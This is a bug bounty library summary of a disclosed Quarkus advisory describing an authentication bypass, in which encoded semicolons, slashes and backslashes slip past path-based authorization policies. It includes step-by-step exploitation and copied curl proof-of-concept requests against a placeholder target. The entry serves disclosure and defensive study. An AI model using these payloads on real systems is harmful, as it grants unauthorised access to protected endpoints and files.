# Quarkus: Authentication/Authorization Bypass via Advanced Path Normalization Vulnerabilities

Quarkus path-based auth policies bypassed via encoded semicolons (%3B) smuggling matrix params and %2F/%5C reaching protected static files, granting unauthenticated access.

- Payout: Research
- Severity: high
- Program: Quarkus
- Found by: geoand
- Disclosed: 2026-07-29
- CVE: CVE-2026-50559
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qcxp-gm7m-4j5v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qcxp-gm7m-4j5v
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:java technique:incomplete-fix technique:parser-differential technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** quarkus-vertx-http path-based authorization policy and static resource handlers
**Root cause:** Security layer normalizes with Vert.x normalizedPath() which only decodes unreserved chars, then strips literal ';' matrix params, so %3B survives and breaks policy matching; static handlers fully percent-decode %2F/%5C after the security check.
**Steps:**
1. Identify an endpoint protected by quarkus.http.auth.permission path policy, e.g. /api/admin/*.
2. Send `curl -v http://target/api/admin%3Bbypass=true/data` — security sees segment `admin%3Bbypass=true`, no policy match, request passes unauthenticated.
3. For static files behind a path policy, send `curl -v http://target/static-secret%2Fhtml` or `/static-secret%5Chtml`; static handler decodes to slash/backslash and resolves the file.
4. Double-encoding variant: `/secret%252Fconfidential.html` — normalizedPath turns %25 into %, static handler decodes %2F to /.
**How found:** Compared the security layer's normalizedPath() (decodes only unreserved RFC 3986 chars) against static handlers' full URIDecoder.decodeURIComponent() plus backslash conversion, spotting the decode mismatch; also noted pathWithoutMatrixParams() strips literal ';' but never sees %3B. Prior CVE-2026-39852 only fixed literal semicolon stripping, prompting a deeper look at encoded variants.
**Exploitation:** Unauthenticated attacker crafts requests with encoded reserved characters so the security layer's partial decode fails to match the configured path policy while the downstream handler (REST routing or static handler) resolves the intended resource, reaching protected endpoints or static files without credentials.
**Insight:** When a security filter and a downstream handler each normalize paths, enumerate which characters each decodes: reserved chars (%2F, %5C, %3B) that survive the filter but are decoded later are the bypass. Also check whether a prior fix only handled the literal form of a delimiter, leaving its encoded form.

## Proof of concept (copied exactly from the original report)

**curl PoC for encoded semicolon bypass**

```
# Encoded semicolon bypass — works on any path-policy-protected endpoint
  # Security sees "/api/admin%3Bbypass=true/data", doesn't match /api/admin/* policy
  curl -v http://target/api/admin%3Bbypass=true/data

  # Encoded semicolon on authenticated endpoint
  curl -v http://target/api/secret%3b/data
```

**curl PoC for static resource encoded slash/backslash bypass**

```
# Static resource bypass via encoded slash (if static file behind path policy)
  curl -v http://target/static-secret%2Fhtml

  # Static resource bypass via encoded backslash
  curl -v http://target/static-secret%5Chtml
```